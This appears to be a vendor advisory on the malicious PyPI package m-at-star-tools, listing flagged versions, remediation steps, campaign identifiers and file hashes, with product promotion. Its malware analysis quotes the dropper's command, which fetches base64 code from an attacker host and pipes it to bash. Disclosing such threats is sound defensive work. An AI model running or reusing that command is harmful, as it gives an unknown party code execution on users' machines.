Which versions of m-at-star-tools are malicious?

The following PyPI versions of m-at-star-tools are flagged malicious: 1.0.0, 1.0.3, 1.0.4. Treat any of these as compromised.

How do I remediate m-at-star-tools if I installed it?

Remove m-at-star-tools from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is m-at-star-tools part of a known attack campaign?

Yes — m-at-star-tools is associated with the IN-MAL-2026-004898, 2026-05-m-at-star-tools campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect m-at-star-tools in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking m-at-star-tools and packages like it before any post-install script runs.

Malicious package

m-at-star-toolsPyPI

Malicious code in m-at-star-tools (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-4812

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall m-at-star-tools

What this malware does

The package's sole console_script m0scan (m0scan/main.py:6-7) executes curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (mspy.qzz.io) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL — whoever controls mspy.qzz.io/M0scan controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author M-AT-STAR, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an 'M0scan installation wrapper' — the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer's machine.

The package downloads remote encoded code, which then downloads the next encrypted stage. The encryption of final data requires knowing a code.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-m-at-star-tools

Reasons (based on the campaign):

Downloads and executes a remote malicious script.
obfuscation

Malicious versions

3 flagged

1.0.01.0.31.0.4

Indicators of compromise (SHA-256)

2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2

1c1aca876bca2f4006ca7cad627f7eb20efcd63e7d9706852e1740d4c0d66dc1

Frequently asked questions

No. m-at-star-tools on PyPI has been identified as a malicious package (versions 1.0.0, 1.0.3, 1.0.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-0048982026-05-m-at-star-tools

References

Credits

Amazon Inspector · finder
Kamil Mańkowski (kam193) · reporter

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection